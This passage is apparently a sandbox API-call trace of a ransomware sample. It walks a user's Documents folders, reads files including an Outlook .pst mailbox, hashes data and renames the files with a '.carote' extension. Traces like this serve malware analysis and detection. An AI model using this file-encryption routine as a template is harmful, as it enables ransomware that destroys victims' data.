dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.658] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.658] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.658] PathFindFileNameW (pszPath="") returned="" [0112.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0xffffffff [0112.659] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.659] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0112.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.659] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.659] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.659] PathFindFileNameW (pszPath="") returned="" [0112.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.659] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0112.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0112.659] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0112.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.660] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=0) returned 1 [0112.660] CloseHandle (hObject=0x61c) returned 1 [0112.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.carote")) returned 1 [0112.661] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0112.661] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0112.661] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.661] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.661] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0112.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.661] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.661] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.661] PathFindFileNameW (pszPath="") returned="" [0112.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0112.662] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.662] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0112.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.662] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.662] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.662] PathFindFileNameW (pszPath="") returned="" [0112.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.662] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0112.662] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0112.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.663] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=271360) returned 1 [0112.663] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.665] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.665] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.665] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.666] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0112.668] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.668] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.668] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.668] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.669] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.669] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.669] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.669] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.669] GetLastError () returned 0x0 [0112.669] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.669] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.670] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.689] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.689] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.689] CloseHandle (hObject=0x61c) returned 1 [0112.691] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.691] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.692] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.carote")) returned 1 [0112.692] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.692] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.693] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0112.693] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.693] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.693] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.695] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.696] 